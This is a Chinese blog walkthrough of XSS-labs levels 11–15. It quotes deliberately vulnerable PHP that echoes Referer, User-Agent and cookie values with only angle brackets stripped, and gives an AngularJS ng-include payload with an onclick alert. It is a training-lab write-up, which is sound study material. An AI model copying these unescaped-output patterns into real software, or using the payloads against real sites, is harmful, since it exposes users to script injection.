XSS挑戰賽(3)
阿新 • • 發佈:2020-08-12
檢視關鍵程式碼:
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_REFERER']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ref" value="'.$str33.'" type="hidden"> </form> </center>'; ?>
可以看到有三個引數是我們可以控制的
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_REFERER'];
前兩個引數都使用 htmlspecialchars 進行了過濾,最後一個引數只進行了尖括號的替換,又回到了第十題,不過引數變成了 HTTP 請求頭中的 HTTP_REFERER
抓包修改,然後將第十關的payload放進去即可,如圖:
發包後點擊輸入框,成功XSS
十二關也是考察HTTP請求包結構的
關鍵程式碼為:
<?php $str11=$_SERVER['HTTP_USER_AGENT']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo '<input name="t_ua" value="'.$str33.'" type="hidden">' ?>
將 user-agent 改為 第十關的 payload,如圖:
抓包修改請求點選一氣呵成
進入十三關
關鍵程式碼為:
<?php setcookie("user", "call me maybe?", time()+3600); $str11=$_COOKIE["user"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo '<input name="t_cook" value="'.$str33.'" type="hidden">' ?>
與前兩關類似,修改cookie中的user值即可
繼續一氣呵成
進入十四關
關鍵程式碼如下:
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>這關成功後不會自動跳轉。成功者<a href=/xss/level15.php?src=1.gif>點我進level15</a></center>
環境有問題,考點是圖片EXIF構造XSS
shy師傅對此類XSS復現的連結:https://blog.csdn.net/qq_32393893/article/details/104814749
第十五關
關鍵程式碼為:
<head> <meta charset="utf-8"> <script src="angular.min.js"></script> <script> <?php ini_set("display_errors", 0); $str = $_GET["src"]; echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>'; ?>
可以看到這裡包含了:
<script src="angular.min.js"></script>
而對其 ng-include,有:
所以我們可以用來包含一個存在XSS漏洞的HTML介面,同一域名也很容易滿足,因為XSS-labs都在同一域名下。
因為使用了htmlspecialchars函式過濾,所以我們不考慮使用尖括號等敏感字元。
使用level4.php的介面,payload為:
level15.php?src='level4.php?keyword=" onclick=alert(1) "'
可以看到第四關的介面被包含了進來
點選搜尋框XSS
參考連結: